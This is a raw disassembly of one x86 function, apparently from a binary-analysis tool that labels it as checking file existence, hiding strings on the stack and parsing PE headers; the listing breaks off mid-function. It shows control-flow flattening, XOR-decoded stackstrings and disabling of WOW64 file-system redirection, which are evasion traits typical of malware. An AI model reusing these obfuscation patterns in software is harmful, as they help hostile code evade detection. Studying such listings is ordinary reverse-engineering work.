Function at 0x100146f4
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x5a4
mov eax, dword [0x100c51b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x100c6048]
mov dword [ebp - 0x524], eax
mov eax, 0x69e27419
mov esi, 0xa2757472
mov edi, 0xe37193c5
cmp eax, 0xa785d5f0
jle 0x10014751
cmp eax, 0xa785d5f1
je 0x10014761
cmp eax, 0xe37193c5
je 0x1001477d
cmp eax, 0x69e27419
jne 0x10014724
cmp dword [ebp - 0x524], 0
mov eax, 0xa785d5f1
cmove eax, edi
jmp 0x10014724
cmp eax, 0xa181b4b4
je 0x100147a0
cmp eax, 0xa2757472
jne 0x10014724
jmp 0x100147b4
mov eax, dword [0x100c6048]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
mov eax, 0xa181b4b4
cmove eax, esi
jmp 0x10014724
push 0x100be4a0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.Wow64EnableWow64FsRedirection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x100c6048], eax
mov eax, 0xa785d5f1
jmp 0x10014724
mov eax, dword [ebp - 0x114]
push 0
call eax
mov eax, 0xa2757472
jmp 0x10014724
lea esi, [ebp - 0x140]
mov dword [ebp - 0x53c], esi
mov eax, dword [ebp - 0x53c]
mov byte [esi], 1
mov byte [esi + 1], 0xc
lea eax, [ebp - 0x13e]
mov byte [eax], 0x68
mov byte [eax + 1], 0x12
mov byte [eax + 2], 0x75
mov byte [eax + 3], 0x79
mov byte [eax + 4], 0x66
mov dl, 0x62
mov byte [eax + 5], dl
mov dh, 0x69
mov byte [eax + 6], dh
mov byte [eax + 7], 0x6d
mov byte [eax + 8], 0x74
mov byte [eax + 9], 0x73
mov bl, 0x7d
mov byte [eax + 0xa], bl
mov byte [eax + 0xb], 0x55
mov byte [eax + 0xc], 0x5e
mov byte [eax + 0xd], 0x57
mov byte [eax + 0xe], 0x51
mov byte [eax + 0xf], 0x5f
mov bh, 0x56
mov byte [eax + 0x10], bh
mov cl, 0xb
mov byte [eax + 0x11], cl
mov byte [eax + 0x12], cl
mov byte [eax + 0x13], dl
mov byte [eax + 0x14], 0x5b
mov byte [eax + 0x15], 0x4e
mov byte [eax + 0x16], 0x54
mov byte [eax + 0x17], 0x44
mov byte [eax + 0x18], bh
mov cl, 0x42
mov byte [eax + 0x19], cl
mov byte [eax + 0x1a], cl
mov byte [eax + 0x1b], 0x6a
mov byte [eax + 0x1c], 0x41
mov byte [eax + 0x1d], 0x59
mov byte [eax + 0x1e], 0x46
mov byte [eax + 0x1f], dh
mov byte [eax + 0x20], pe_nt_image_headers32
mov byte [eax + 0x21], 0x61
mov byte [eax + 0x22], 0x27
mov byte [eax + 0x23], bl
mov byte [eax + 0x24], 0x76
mov byte [eax + 0x25], 0x7f
lea edx, [ebp - 0x118]
lea ecx, [ebp - 0x116]
mov dword [ebp - 0x114], ecx
mov edi, 0xd8c9895a
mov ecx, 0xb1c42818
cmp edi, 0xb1c42818
je 0x100148aa
cmp edi, 0xd8c9895a
jne 0x10014886
mov byte [edx], 0
inc edx
cmp edx, dword [ebp - 0x114]
mov edi, 0xd8c9895a
cmove edi, ecx
jmp 0x10014886
mov dword [ebp - 0x524], esi
mov ecx, dword [ebp - 0x524]
mov cl, byte [ecx]
mov byte [ebp - 0x528], cl
mov esi, 0x6ee68a7d
mov ebx, 0x2de97b51
mov edi, 0x53da1417
cmp esi, 0x53da1416
jg 0x10014942
cmp esi, 0x96f770b8
je 0x10014976
cmp esi, 0xe5e810c4
je 0x1001499c
cmp esi, 0x2de97b51
jne 0x100148cd
mov ecx, dword [ebp - 0x520]
mov dl, byte [ebp + ecx - 0x13e]
mov ecx, dword [ebp - 0x520]
mov dh, byte [ebp - 0x13f]
mov esi, 0x7e
sub esi, ecx
and esi, 0x4f
inc ecx
and ecx, 0xb0
or ecx, esi
xor cl, dh
xor cl, dl
xor cl, 0x69
mov edx, dword [ebp - 0x520]
mov byte [ebp + edx - 0x13e], cl
inc dword [ebp - 0x520]
mov esi, 0x731e6744
jmp 0x100148cd
cmp esi, 0x53da1417
je 0x100149d9
cmp esi, 0x731e6744
je 0x100149c3
cmp esi, 0x6ee68a7d
jne 0x100148cd
test byte [ebp - 0x528], 1
mov esi, 0x96f770b8
cmove esi, edi
jmp 0x100148cd
lea ecx, [ebp - 0x520]
mov dword [ebp - 0x114], ecx
mov ecx, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov esi, 0x731e6744
jmp 0x100148cd
mov ecx, dword [ebp - 0x114]
mov byte [ebp - 0x118], 0
mov byte [ebp - 0x117], 0
mov ecx, dword [ebp - 0x524]
mov byte [ecx], 0
mov esi, 0x53da1417
jmp 0x100148cd
mov ecx, dword [ebp - 0x520]
cmp ecx, 0x26
mov esi, 0xe5e810c4
cmovb esi, ebx
jmp 0x100148cd
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
setne byte [ebp - 0x52d]
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x540], eax
mov eax, dword [ebp - 0x540]
lea eax, [ebp - 0x198]
mov dword [ebp - 0x544], eax
mov eax, dword [ebp - 0x544]
lea eax, [ebp - 0x1c4]
mov dword [ebp - 0x548], eax
mov eax, dword [ebp - 0x548]
lea eax, [ebp - 0x1f0]
mov dword [ebp - 0x54c], eax
mov eax, dword [ebp - 0x54c]
lea eax, [ebp - 0x220]
mov dword [ebp - 0x550], eax
mov eax, dword [ebp - 0x550]
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x554], eax
mov eax, dword [ebp - 0x554]
lea eax, [ebp - 0x278]
mov dword [ebp - 0x558], eax
mov eax, dword [ebp - 0x558]
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x55c]
lea eax, [ebp - 0x2c4]
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x560]
lea eax, [ebp - 0x2ec]
mov dword [ebp - 0x564], eax
mov eax, dword [ebp - 0x564]
lea eax, [ebp - 0x324]
mov dword [ebp - 0x568], eax
mov eax, dword [ebp - 0x568]
lea eax, [ebp - 0x330]
mov dword [ebp - 0x56c], eax
mov eax, dword [ebp - 0x56c]
lea eax, [ebp - 0x348]
mov dword [ebp - 0x570], eax
mov eax, dword [ebp - 0x570]
lea eax, [ebp - 0x36c]
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x574]
lea eax, [ebp - 0x378]
mov dword [ebp - 0x578], eax
mov eax, dword [ebp - 0x578]
lea eax, [ebp - 0x390]
mov dword [ebp - 0x57c], eax
mov eax, dword [ebp - 0x57c]
lea eax, [ebp - 0x3b4]
mov dword [ebp - 0x580], eax
mov eax, dword [ebp - 0x580]
lea eax, [ebp - 0x3c0]
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x584]
lea eax, [ebp - 0x3d8]
mov dword [ebp - 0x588], eax
mov eax, dword [ebp - 0x588]
lea eax, [ebp - 0x40c]
mov dword [ebp - 0x58c], eax
mov eax, dword [ebp - 0x58c]
lea eax, [ebp - 0x418]
mov dword [ebp - 0x590], eax
mov eax, dword [ebp - 0x590]
lea eax, [ebp - 0x430]
mov dword [ebp - 0x594], eax
mov eax, dword [ebp - 0x594]
lea eax, [ebp - 0x464]
mov dword [ebp - 0x598], eax
mov eax, dword [ebp - 0x598]
lea eax, [ebp - 0x470]
mov dword [ebp - 0x59c], eax
mov eax, dword [ebp - 0x59c]
lea eax, [ebp - 0x488]
mov dword [ebp - 0x5a0], eax
mov eax, dword [ebp - 0x5a0]
lea eax, [ebp - 0x4c0]
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0x5a4]
lea eax, [ebp - 0x4cc]
mov dword [ebp - 0x5a8], eax
mov eax, dword [ebp - 0x5a8]
lea eax, [ebp - 0x4e4]
mov dword [ebp - 0x5ac], eax
mov eax, dword [ebp - 0x5ac]
lea eax, [ebp - 0x51c]
mov dword [ebp - 0x5b0], eax
push eax
mov edi, esp
mov dword [edi], 0x9c520613
push eax
mov dword [ebp - 0x52c], esp
push eax
mov dword [ebp - 0x538], esp
mov eax, 0x9c520613
mov dword [ebp - 0x534], edi
cmp eax, 0xe7dc5e7b
jle 0x10014df9
cmp eax, 0x54df997a
jg 0x10014e4f
cmp eax, 0x22a67ed1
jle 0x10015182
cmp eax, 0x22a67ed2
je 0x1001564f
cmp eax, 0x34ec2c45
je 0x100156cb
cmp eax, 0x3f26ca2e
jne 0x1001946a
mov byte [ebp - 0x324], 1
mov byte [ebp - 0x323], 0xc
mov byte [ebp - 0x322], 0x7f
mov byte [ebp - 0x321], 5
mov cl, 0x62
mov byte [ebp - 0x320], cl
mov ch, 0x69
mov byte [ebp - 0x31f], ch
mov byte [ebp - 0x31e], 0x4a
mov byte [ebp - 0x31d], 0x54
mov byte [ebp - 0x31c], 0x5d
mov byte [ebp - 0x31b], 0x47
mov byte [ebp - 0x31a], 0x55
mov byte [ebp - 0x319], 0x5a
mov byte [ebp - 0x318], 0x16
mov dh, 0x77
mov byte [ebp - 0x317], dh
mov al, 0x59
mov byte [ebp - 0x316], al
mov byte [ebp - 0x315], 0x5f
mov byte [ebp - 0x314], 0x57
mov bl, 0x5e
mov byte [ebp - 0x313], bl
mov ah, 0x70
mov byte [ebp - 0x312], ah
mov dl, 0x79
mov byte [ebp - 0x311], dl
mov byte [ebp - 0x310], 0x63
mov byte [ebp - 0x30f], bl
mov bl, 0x49
mov byte [ebp - 0x30e], bl
mov byte [ebp - 0x30d], al
mov byte [ebp - 0x30c], 0x4f
mov byte [ebp - 0x30b], dl
mov al, 0x72
mov byte [ebp - 0x30a], al
mov dl, 0x6a
mov byte [ebp - 0x309], dl
mov byte [ebp - 0x308], 0x51
mov byte [ebp - 0x307], 0x40
mov byte [ebp - 0x306], 0x52
mov byte [ebp - 0x305], 0x46
mov byte [ebp - 0x304], 2
mov byte [ebp - 0x303], bl
mov byte [ebp - 0x302], 0x73
mov byte [ebp - 0x301], ah
mov byte [ebp - 0x300], al
mov byte [ebp - 0x2ff], dl
mov byte [ebp - 0x2fe], 0x44
mov byte [ebp - 0x2fd], 0x6d
mov byte [ebp - 0x2fc], dh
mov byte [ebp - 0x2fb], 0x61
mov byte [ebp - 0x2fa], 0x7b
mov byte [ebp - 0x2f9], pe_nt_image_headers32
mov byte [ebp - 0x2f8], 0x7a
mov byte [ebp - 0x2f7], cl
mov byte [ebp - 0x2f6], 0x74
mov byte [ebp - 0x2f5], 0x3d
mov byte [ebp - 0x2f4], dh
mov byte [ebp - 0x2f3], 0x75
mov byte [ebp - 0x2f2], ch
lea eax, [ebp - 0x2ef]
mov dword [ebp - 0x114], eax
mov ecx, 0xfbaea0ce
lea eax, [ebp - 0x2f1]
cmp ecx, 0xc3a215a3
je 0x10015747
cmp ecx, 0xfbaea0ce
jne 0x10014dcc
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0xfbaea0ce
mov edx, 0xc3a215a3
cmove ecx, edx
jmp 0x10014dcc
cmp eax, 0xbbc1ae0c
jg 0x10014ff0
cmp eax, 0x9027da66
jle 0x100152ff
cmp eax, 0x9027da67
je 0x10015869
cmp eax, 0x96276717
je 0x10015943
cmp eax, 0x9c520613
jne 0x1001946a
mov eax, dword [ebp - 0x5b0]
cmp byte [ebp - 0x52d], 0
mov eax, 0xbbc1ae0d
mov ecx, 0x9027da67
cmovne eax, ecx
jmp 0x10019453
cmp eax, 0x5e1ea333
jle 0x10015391
cmp eax, 0x5e1ea334
je 0x10015a9d
cmp eax, 0x5fa25091
je 0x10015b19
cmp eax, 0x68c4f9ea
jne 0x1001946a
mov byte [ebp - 0x220], 1
mov byte [ebp - 0x21f], 0xc
mov byte [ebp - 0x21e], 0x64
mov byte [ebp - 0x21d], 0x1e
mov byte [ebp - 0x21c], 0x79
mov dl, 0x75
mov byte [ebp - 0x21b], dl
mov ch, 0x6a
mov byte [ebp - 0x21a], ch
mov cl, 0x6e
mov byte [ebp - 0x219], cl
mov al, 0x65
mov byte [ebp - 0x218], al
mov byte [ebp - 0x217], 0x61
mov bl, pe_nt_image_headers32
mov byte [ebp - 0x216], bl
mov ah, 0x7f
mov byte [ebp - 0x215], ah
mov byte [ebp - 0x214], 0x71
mov byte [ebp - 0x213], 0x59
mov byte [ebp - 0x212], 0x52
mov byte [ebp - 0x211], 0x5b
mov byte [ebp - 0x210], 0x5d
mov byte [ebp - 0x20f], 0x53
mov byte [ebp - 0x20e], 0x5a
mov dh, 7
mov byte [ebp - 0x20d], dh
mov byte [ebp - 0x20c], dh
mov byte [ebp - 0x20b], cl
mov dh, 0x77
mov byte [ebp - 0x20a], dh
mov byte [ebp - 0x209], 0x62
mov byte [ebp - 0x208], bl
mov byte [ebp - 0x207], 0x68
mov byte [ebp - 0x206], 0x7a
mov byte [ebp - 0x205], cl
mov byte [ebp - 0x204], cl
mov byte [ebp - 0x203], 0x66
mov byte [ebp - 0x202], 0x4d
mov byte [ebp - 0x201], 0x55
mov byte [ebp - 0x200], 0x4c
mov byte [ebp - 0x1ff], dl
mov byte [ebp - 0x1fe], al
mov byte [ebp - 0x1fd], 0x69
mov byte [ebp - 0x1fc], ch
mov byte [ebp - 0x1fb], dh
mov byte [ebp - 0x1fa], 0x70
mov byte [ebp - 0x1f9], al
mov byte [ebp - 0x1f8], 0x2f
mov byte [ebp - 0x1f7], 0x7d
mov byte [ebp - 0x1f6], 0x76
mov byte [ebp - 0x1f5], ah
lea eax, [ebp - 0x1f2]
mov dword [ebp - 0x114], eax
mov ecx, 0xe1662d89
lea eax, [ebp - 0x1f4]
cmp ecx, 0x39ec5f15
je 0x10015b95
cmp ecx, 0xe1662d89
jne 0x10014fc3
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0xe1662d89
mov edx, 0x39ec5f15
cmove ecx, edx
jmp 0x10014fc3
cmp eax, 0xc8b2990d
jle 0x10015502
cmp eax, 0xc8b2990e
je 0x10015cb1
cmp eax, 0xdbaeb3ef
je 0x10015dcd
cmp eax, 0xe70cd12b
jne 0x1001946a
mov byte [ebp - 0x278], 1
mov byte [ebp - 0x277], 0xc
mov byte [ebp - 0x276], 0x66
mov byte [ebp - 0x275], 0x1c
mov byte [ebp - 0x274], 0x7b
mov byte [ebp - 0x273], 0x77
mov ch, 0x68
mov byte [ebp - 0x272], ch
mov dl, 0x6c
mov byte [ebp - 0x271], dl
mov byte [ebp - 0x270], 0x67
mov byte [ebp - 0x26f], 0x63
mov cl, 0x7a
mov byte [ebp - 0x26e], cl
mov byte [ebp - 0x26d], 0x7d
mov al, 0x73
mov byte [ebp - 0x26c], al
mov byte [ebp - 0x26b], 0x5b
mov byte [ebp - 0x26a], 0x50
mov byte [ebp - 0x269], 0x59
mov byte [ebp - 0x268], 0x5f
mov byte [ebp - 0x267], 0x51
mov byte [ebp - 0x266], 0x58
mov ah, 5
mov byte [ebp - 0x265], ah
mov byte [ebp - 0x264], ah
mov byte [ebp - 0x263], dl
mov byte [ebp - 0x262], 0x75
mov byte [ebp - 0x261], 0x60
mov byte [ebp - 0x260], cl
mov byte [ebp - 0x25f], 0x6a
mov byte [ebp - 0x25e], pe_nt_image_headers32
mov byte [ebp - 0x25d], dl
mov byte [ebp - 0x25c], dl
mov byte [ebp - 0x25b], 0x64
mov byte [ebp - 0x25a], 0x4f
mov byte [ebp - 0x259], 0x57
mov byte [ebp - 0x258], 0x56
mov byte [ebp - 0x257], 0x61
mov byte [ebp - 0x256], ch
mov byte [ebp - 0x255], 0x65
mov byte [ebp - 0x254], al
mov byte [ebp - 0x253], dl
mov byte [ebp - 0x252], 0x2f
mov byte [ebp - 0x251], 0x71
mov byte [ebp - 0x250], cl
mov byte [ebp - 0x24f], 0x7f
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x114], eax
mov ecx, 0x4ced1638
lea eax, [ebp - 0x24e]
cmp ecx, 0x31cf28a5
je 0x10015f34
cmp ecx, 0x4ced1638
jne 0x10015155
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x4ced1638
mov edx, 0x31cf28a5
cmove ecx, edx
jmp 0x10015155
cmp eax, 0x486bd46
je 0x1001605d
cmp eax, 0xe62217d
jne 0x10019463
mov byte [ebp - 0x24c], 1
mov byte [ebp - 0x24b], 0xc
mov byte [ebp - 0x24a], 0x66
mov byte [ebp - 0x249], 0x1c
mov byte [ebp - 0x248], 0x7b
mov byte [ebp - 0x247], 0x77
mov byte [ebp - 0x246], 0x68
mov cl, 0x6c
mov byte [ebp - 0x245], cl
mov byte [ebp - 0x244], 0x67
mov byte [ebp - 0x243], 0x63
mov al, 0x7a
mov byte [ebp - 0x242], al
mov byte [ebp - 0x241], 0x7d
mov byte [ebp - 0x240], 0x73
mov byte [ebp - 0x23f], 0x5b
mov byte [ebp - 0x23e], 0x50
mov byte [ebp - 0x23d], 0x59
mov byte [ebp - 0x23c], 0x5f
mov byte [ebp - 0x23b], 0x51
mov byte [ebp - 0x23a], 0x58
mov dl, 5
mov byte [ebp - 0x239], dl
mov byte [ebp - 0x238], dl
mov byte [ebp - 0x237], cl
mov byte [ebp - 0x236], 0x75
mov byte [ebp - 0x235], 0x60
mov byte [ebp - 0x234], al
mov byte [ebp - 0x233], 0x6a
mov byte [ebp - 0x232], pe_nt_image_headers32
mov byte [ebp - 0x231], cl
mov byte [ebp - 0x230], cl
mov byte [ebp - 0x22f], 0x64
mov byte [ebp - 0x22e], 0x4f
mov byte [ebp - 0x22d], 0x57
mov byte [ebp - 0x22c], 0x49
mov byte [ebp - 0x22b], 0x65
mov byte [ebp - 0x22a], 0x72
mov byte [ebp - 0x229], 0x62
mov byte [ebp - 0x228], 0x74
mov byte [ebp - 0x227], 0x6b
mov byte [ebp - 0x226], 0x2f
mov byte [ebp - 0x225], 0x71
mov byte [ebp - 0x224], al
mov byte [ebp - 0x223], 0x7f
lea eax, [ebp - 0x220]
mov dword [ebp - 0x114], eax
mov ecx, 0x4ced1638
lea eax, [ebp - 0x222]
cmp ecx, 0x31cf28a5
je 0x100161a4
cmp ecx, 0x4ced1638
jne 0x100152d2
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x4ced1638
mov edx, 0x31cf28a5
cmove ecx, edx
jmp 0x100152d2
cmp eax, 0x89c80c88
je 0x100162cd
cmp eax, 0x8da686b3
jne 0x1001946a
mov byte [ebp - 0x4cc], 1
mov byte [ebp - 0x4cb], 0xc
mov byte [ebp - 0x4ca], 0x5d
mov byte [ebp - 0x4c9], 0x45
mov byte [ebp - 0x4c8], 0x7e
mov byte [ebp - 0x4c7], 0x6f
mov byte [ebp - 0x4c6], 0x7d
mov byte [ebp - 0x4c5], 0x69
lea eax, [ebp - 0x4c2]
mov dword [ebp - 0x114], eax
mov ecx, 0x3b3295e
lea eax, [ebp - 0x4c4]
cmp ecx, 0x77ee97a3
je 0x100162e6
cmp ecx, 0x3b3295e
jne 0x10015364
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x3b3295e
mov edx, 0x77ee97a3
cmove ecx, edx
jmp 0x10015364
cmp eax, 0x54df997b
je 0x10016403
cmp eax, 0x596c4d8a
jne 0x1001946a
mov byte [ebp - 0x1f0], 1
mov byte [ebp - 0x1ef], 0xc
mov byte [ebp - 0x1ee], 0x68
mov byte [ebp - 0x1ed], 0x12
mov byte [ebp - 0x1ec], 0x75
mov byte [ebp - 0x1eb], 0x79
mov byte [ebp - 0x1ea], 0x66
mov cl, 0x62
mov byte [ebp - 0x1e9], cl
mov byte [ebp - 0x1e8], 0x69
mov al, 0x6d
mov byte [ebp - 0x1e7], al
mov byte [ebp - 0x1e6], 0x74
mov byte [ebp - 0x1e5], 0x73
mov dl, 0x7d
mov byte [ebp - 0x1e4], dl
mov byte [ebp - 0x1e3], 0x55
mov byte [ebp - 0x1e2], 0x5e
mov byte [ebp - 0x1e1], 0x57
mov byte [ebp - 0x1e0], 0x51
mov byte [ebp - 0x1df], 0x5f
mov ch, 0x56
mov byte [ebp - 0x1de], ch
mov ah, 0xb
mov byte [ebp - 0x1dd], ah
mov byte [ebp - 0x1dc], ah
mov byte [ebp - 0x1db], cl
mov byte [ebp - 0x1da], 0x5b
mov byte [ebp - 0x1d9], 0x4e
mov byte [ebp - 0x1d8], 0x54
mov byte [ebp - 0x1d7], 0x44
mov byte [ebp - 0x1d6], ch
mov cl, 0x42
mov byte [ebp - 0x1d5], cl
mov byte [ebp - 0x1d4], cl
mov byte [ebp - 0x1d3], 0x6a
mov byte [ebp - 0x1d2], 0x41
mov byte [ebp - 0x1d1], 0x59
mov byte [ebp - 0x1d0], 0x5d
mov byte [ebp - 0x1cf], al
mov byte [ebp - 0x1ce], al
mov byte [ebp - 0x1cd], 0x7b
mov byte [ebp - 0x1cc], 0x27
mov byte [ebp - 0x1cb], dl
mov byte [ebp - 0x1ca], 0x76
mov byte [ebp - 0x1c9], 0x7f
lea eax, [ebp - 0x1c6]
mov dword [ebp - 0x114], eax
mov ecx, 0xd8c9895a
lea eax, [ebp - 0x1c8]
cmp ecx, 0xb1c42818
je 0x1001647f
cmp ecx, 0xd8c9895a
jne 0x100154d5
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0xd8c9895a
mov edx, 0xb1c42818
cmove ecx, edx
jmp 0x100154d5
cmp eax, 0xbbc1ae0d
je 0x100165ab
cmp eax, 0xbe7dca1a
jne 0x1001946a
mov byte [ebp - 0x2a0], 1
mov cl, 0xc
mov byte [ebp - 0x29f], cl
mov byte [ebp - 0x29e], 0x6f
mov byte [ebp - 0x29d], 0x15
mov al, 0x72
mov byte [ebp - 0x29c], al
mov byte [ebp - 0x29b], 0x7e
mov byte [ebp - 0x29a], 0x41
mov byte [ebp - 0x299], 0x45
mov dl, 0x4e
mov byte [ebp - 0x298], dl
mov byte [ebp - 0x297], 0x4a
mov byte [ebp - 0x296], 0x53
mov byte [ebp - 0x295], 0x54
mov byte [ebp - 0x294], 0x7a
mov byte [ebp - 0x293], al
mov ah, 0x59
mov byte [ebp - 0x292], ah
mov byte [ebp - 0x291], 0x50
mov al, 0x56
mov byte [ebp - 0x290], al
mov byte [ebp - 0x28f], 0x58
mov ch, 0x51
mov byte [ebp - 0x28e], ch
mov byte [ebp - 0x28d], cl
mov byte [ebp - 0x28c], cl
mov byte [ebp - 0x28b], 0x65
mov byte [ebp - 0x28a], dl
mov byte [ebp - 0x289], al
mov al, 0x7d
mov byte [ebp - 0x288], al
mov byte [ebp - 0x287], 0x40
mov byte [ebp - 0x286], ch
mov byte [ebp - 0x285], 0x44
mov byte [ebp - 0x284], 0x42
mov byte [ebp - 0x283], al
mov byte [ebp - 0x282], ah
mov byte [ebp - 0x281], ch
mov byte [ebp - 0x280], 0x1c
mov byte [ebp - 0x27f], 0x69
mov byte [ebp - 0x27e], 0x60
lea eax, [ebp - 0x27b]
mov dword [ebp - 0x114], eax
mov ecx, 0x257e97b9
lea eax, [ebp - 0x27d]
cmp ecx, 0xe54c1880
je 0x1001670c
cmp ecx, 0x257e97b9
jne 0x10015622
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x257e97b9
mov edx, 0xe54c1880
cmove ecx, edx
jmp 0x10015622
mov byte [ebp - 0x470], 1
mov byte [ebp - 0x46f], 0xc
mov byte [ebp - 0x46e], 0x5d
mov byte [ebp - 0x46d], 0x45
mov byte [ebp - 0x46c], 0x7e
mov byte [ebp - 0x46b], 0x6f
mov byte [ebp - 0x46a], 0x7d
mov byte [ebp - 0x469], 0x69
lea eax, [ebp - 0x466]
mov dword [ebp - 0x114], eax
mov ecx, 0x3b3295e
lea eax, [ebp - 0x468]
cmp ecx, 0x77ee97a3
je 0x10016821
cmp ecx, 0x3b3295e
jne 0x1001569e
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x3b3295e
mov edx, 0x77ee97a3
cmove ecx, edx
jmp 0x1001569e
mov byte [ebp - 0x330], 1
mov byte [ebp - 0x32f], 0xc
mov byte [ebp - 0x32e], 0x5d
mov byte [ebp - 0x32d], 0x45
mov byte [ebp - 0x32c], 0x7e
mov byte [ebp - 0x32b], 0x6f
mov byte [ebp - 0x32a], 0x7d
mov byte [ebp - 0x329], 0x69
lea eax, [ebp - 0x326]
mov dword [ebp - 0x114], eax
mov ecx, 0x3b3295e
lea eax, [ebp - 0x328]
cmp ecx, 0x77ee97a3
je 0x1001693e
cmp ecx, 0x3b3295e
jne 0x1001571a
mov byte [eax], 0
inc eax
cmp eax, dword [ebp - 0x114]
mov ecx, 0x3b3295e
mov edx, 0x77ee97a3
cmove ecx, edx
jmp 0x1001571a
lea eax, [ebp - 0x324]
mov dword [ebp - 0x524], eax
mov eax, dword [ebp - 0x524]
mov al, byte [eax]
mov byte [ebp - 0x528], al
mov eax, 0x63bc6d51
cmp eax, 0x433c2d08
jg 0x100157aa
cmp eax, 0x8898c028
je 0x100157d9
cmp eax, 0xdf049150
je 0x10016a5b
cmp eax, 0xe4978067
jne 0x10015766
mov eax, dword [ebp - 0x114]
mov byte [ebp - 0x2f1], 0
mov byte [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x524]
mov byte [eax], 0
mov eax, 0xdf049150
jmp 0x10015766
cmp eax, 0x433c2d09
je 0x10015828
cmp eax, 0x73d910a1
je 0x10015843
cmp eax, 0x63bc6d51
jne 0x10015766
test byte [ebp - 0x528], 1
mov eax, 0x73d910a1
mov ecx, 0xdf049150
cmove eax, ecx
jmp 0x10015766
mov eax, dword [ebp - 0x520]
mov cl, byte [ebp + eax - 0x322]
mov edx, dword [ebp - 0x520]
mov al, byte [ebp - 0x323]
movzx esi, al
lea ebx, [edx + 1]
mov eax, 0xfe
sub eax, edx
and eax, esi
not esi
and esi, ebx
or eax, esi
xor al, cl
xor al, 0x31
mov ecx, dword [ebp - 0x520]
mov byte [ebp + ecx - 0x322], al
inc dword [ebp - 0x520]
mov eax, 0x433c2d09
jmp 0x10015766
mov eax, dword [ebp - 0x520]
cmp eax, 0x31
mov eax, 0xe4978067
mov ecx, 0x8898c028
cmovb eax, ecx
jmp 0x10015766
lea eax, [ebp - 0x520]
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x520], 0
mov eax, 0x433c2d09
jmp 0x10015766
mov eax, dword [ebp - 0x52c]
cmp byte [eax], 0
mov eax, dword [ebp - 0x5b0]
mov eax, dword [ebp - 0x5ac]
mov eax, dword [ebp - 0x5a8]
mov eax, dword [ebp - 0x5a4]
mov eax, dword [ebp - 0x5a0]
mov eax, dword [ebp - 0x59c]
mov eax, dword [ebp - 0x598]
mov eax, dword [ebp - 0x594]
mov eax, dword [ebp - 0x590]
mov eax, dword [ebp - 0x58c]
mov eax, dword [ebp - 0x588]
mov eax, dword [ebp - 0x584]
mov eax, dword [ebp - 0x580]
mov eax, dword [ebp - 0x57c]
mov eax, dword [ebp - 0x578]
mov eax, dword [ebp - 0x574]
mov eax, dword [ebp - 0x570]
mov eax, dword [ebp - 0x56c]
mov eax, dword [ebp - 0x568]
mov eax, dword [ebp - 0x564]
mov eax, dword [ebp - 0x560]
mov eax, dword [ebp - 0x55c]
mov eax, dword [ebp - 0x558]
mov eax, dword [ebp - 0x554]
mov eax, dword [ebp - 0x550]
mov eax, dword [ebp - 0x54c]
mov eax, dword [ebp - 0x548]
mov eax, dword [ebp - 0x544]
mov eax, dword [ebp - 0x540]
mov eax, dword [ebp - 0x53c]
mov eax, 0xe7dc5e7c
mov ecx, 0x89c80c88
cmovne eax, ecx
mov dword [edi], eax
mov ecx, dword [ebp - 0x538]
mov byte [ecx], 0
jmp 0x10014c0f
mov byte [ebp - 0x1c4], 1
mov byte [ebp - 0x1c3], 0xc
mov byte [ebp - 0x1c2], 0x68
mov byte [ebp - 0x1c1], 0x12
mov byte [ebp - 0x1c0], 0x75
mov byte [ebp - 0x1bf], 0x79
mov byte [ebp - 0x1be], 0x66
mov cl, 0x62
mov byte [ebp - 0x1bd], cl
mov byte [ebp - 0x1bc], 0x69
mov byte [ebp - 0x1bb], 0x6d
mov dl, 0x74
mov byte [ebp - 0x1ba], dl
mov byte [ebp - 0x1b9], 0x73
mov ah, 0x7d
mov byte [ebp - 0x1b8], ah
mov byte [ebp - 0x1b7], 0x55
mov byte [ebp - 0x1b6], 0x5e
mov byte [ebp - 0x1b5], 0x57
mov byte [ebp - 0x1b4], 0x51
mov byte [ebp - 0x1b3], 0x5f
mov byte [ebp - 0x1b2], 0x56
mov al, 0xb
mov byte [ebp - 0x1b1], al
mov byte [ebp - 0x1b0], al
mov byte [ebp - 0x1af], cl
mov byte [ebp - 0x1ae], 0x7b
mov al, 0x6e
mov byte [ebp - 0x1ad], al
mov byte [ebp - 0x1ac], dl
mov dl, 0x64
mov byte [ebp - 0x1ab], dl
mov ch, 0x76
mov byte [ebp - 0x1aa], ch
mov byte [ebp - 0x1a9], cl
mov byte [ebp - 0x1a8], cl
mov byte [ebp - 0x1a7], 0x6a
mov byte [ebp - 0x1a6], 0x41
mov byte [ebp - 0x1a5], 0x59
mov byte [ebp - 0x1a4], 0x4d
mov byte [ebp - 0x1a3], dl
mov byte [ebp - 0x1a2], al
mov byte [ebp - 0x1a1], 0x7c
mov byte [ebp - 0x1a0], 0x27
mov byte [ebp - 0x19f], ah
mov byte [ebp - 0x19e], ch
mov byte [ebp - 0x19d], 0x7f
lea eax, [ebp - 0x19a]
